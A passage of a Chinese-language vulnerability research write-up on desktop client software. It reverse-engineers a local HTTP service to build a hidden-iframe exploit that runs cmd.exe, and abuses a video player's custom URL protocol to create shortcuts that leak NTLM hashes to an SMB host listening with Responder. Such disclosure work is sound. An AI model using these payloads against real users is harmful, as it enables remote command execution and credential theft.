16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在这之前我们需要注意，由于IDA和实际进程执行的基址不同，我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的，这样我们就可以直接跟进函数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">004203B0</code>，而不需要再去进行地址的换算。</p><p data-sourcepos="321:1-321:327" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在IDA中跟进函数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">004203B0</code>，它实际上也是调用的另外一个函数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">00370C70</code>，在该函数里对字符串进行位移转换，猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">word_74E940</code>，我们跟进这个数据之后发现似乎是一张解码表。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004676" data-ratio="0.6851851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=52f1e43f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgNLLkd9vS7jIWgoLaZRqhQeePZrML6LqENZhIauljiaCIMFIITp5ef5g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="325:1-325:225" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">如下将整段数据罗列出来，看着与Base64解码所需要的解码表是一致的，所以此处极有可能就是Base64解码操作，将我们的输入的字符串<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">cmd.exe</code>进行解码，最终就变成了乱码。</p><p data-sourcepos="327:1-327:114" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们可以将<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">cmd.exe</code>字符串进行Base64解码，发现结果确实为我们之前所看到的乱码内容：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004677" data-ratio="0.24074074074074073" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=adff347a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgR2mWdYo0gMyAa01bxqQctmujU4icQfRZTicymbicMnLcWb7GhnicvJCaeA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="276:1-276:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit，当安装了该客户端的应用打开Exp代码对应页面时，即可以执行我们想要的命令。<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">iframe</span> <span class="code-snippet__attr">src</span>=<span class="code-snippet__string">&#34;<a href="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&amp;param=L2sgbm90ZXBhZA==" target="_blank">http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&amp;param=L2sgbm90ZXBhZA==</a>&#34;</span> <span class="code-snippet__attr">width</span>=<span class="code-snippet__string">&#34;0px&#34;</span> <span class="code-snippet__attr">height</span>=<span class="code-snippet__string">&#34;0px&#34;</span>&gt;</span></span></code></pre></section><p data-sourcepos="276:1-276:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h5 data-sourcepos="339:1-339:30" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 0.875em;font-weight: 600;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">某视频软件客户端</h5><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">通过URLProtocolView找到视频软件客户端注册的伪协议：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">xxplayer://</code>，通过字符串定位程序伪协议的处理功能点，也可以知道有哪些的伪协议路由。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004679" data-ratio="0.2647702407002188" data-s="300,640" style="" data-type="png" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=4bfc5f04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgicwQVJx4w086DgnibRFahtic73lyqAiarv6UCnqiaxlLJKPRqyZUc8fljibQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004680" data-ratio="0.30024213075060535" data-s="300,640" style="" data-type="png" data-w="826" src="https://wechat2rss.xlab.app/img-proxy/?k=9750588e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgRqENiaibCN5WSmhHic5SL3Ej9Kk2LYPa81koI4dx7203qSVr0I7Wq3CHw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">发现这里可以通过</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">xxplayer://action.cmd/xxx</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">的方式来触发一些功能，所有功能列表如下所示：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/playShareVideo</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/play</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/downloadvideo</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/downloadpage</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/downloadShareVideo</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/createshortcut_url</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/createshortcut</span></span></code><code><span class="code-snippet_outer">xxplayer:<span class="code-snippet__comment">//action.cmd/activeHomepage</span></span></code></pre></section><p data-sourcepos="360:1-360:177" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">根据字面意思理解它的作用即可，这里我们一个一个带入请求尝试，发现当请求<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">createshortcut_url</code>时会在桌面创建<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">.link</code>的快捷方式文件。</p><p data-sourcepos="362:1-362:104" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们跟进这个创建快捷方式的逻辑，发现实际上它还有两个参数：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">url</code>、<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">name</code>：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004681" data-ratio="0.9138888888888889" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a23cf681&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgeI2SAiawicUD6zAoxtPEDN4jqHyQ4A4ibJn3aib4awOKZO1IvGQCPM7Nhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">然后将这两个参数值带入</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">CreateUrlShortcut</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">函数执行，这个函数是导入函数，就是用于创建桌面快捷方式的。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004682" data-ratio="0.09940357852882704" data-s="300,640" style="" data-type="png" data-w="1006" src="https://wechat2rss.xlab.app/img-proxy/?k=fd135ded&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgQtK6aAjthaKKNYypBUMv6TXP4aib4LiaZI0Gr0CDJHLeJwHYRKG9jCMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="370:1-370:362" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">因此我们可以构建伪协议URL：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">xxplayer://action.cmd/createshortcut_url?url=<a href="http://www.baidu.com&amp;name=Test" target="_blank">http://www.baidu.com&amp;name=Test</a></code>，访问就发现它创建了一个名为<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">Test</code>的快捷方式，目标为：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">C:\xxplayer.exe \UrlQuickLunch=<a href="http://www.baidu.com,0" target="_blank">http://www.baidu.com,0</a></code>，也就表示我们传入的<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">url</code>参数值变成了启动参数，<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">name</code>参数值变成了快捷方式名字。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004684" data-ratio="0.6031746031746031" data-s="300,640" style="" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=7b36e557&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgO2wukurx0VY2y5KwAYDLFct0Vs6ooKzoUYeoIrGKBzjxpKSeeribLpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="374:1-374:91" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">当我们双击这个快捷方式时，就会调用浏览器打开<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;"><a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a></code>。</p><p data-sourcepos="376:1-376:345" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">接着我们发现只要<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">url</code>参数值为<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">xxx://xxx.xxx/</code>的格式即可，那么我们尝试将<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">url</code>参数值修改为<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">file://172.16.176.176/netntlm</code>，也就变成这样：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&amp;name=123</code>，在机器上<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">responder</code>监听一下，当打开快捷方式时收到了NTLM Hash：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004685" data-ratio="0.5194444444444445" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4b6c26b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgjiaYGutmSeaXGVe8v4UjycAMiaianFbTQias5OIpVwDicADCQ912SFn5k7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="341:1-341:187" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">除了获取NTLM Hash，我们还可以在Ubuntu上开一个SMB服务，然后将</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">url</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">参数设为使用</span><code style="box-sizing: border-box;font-family: 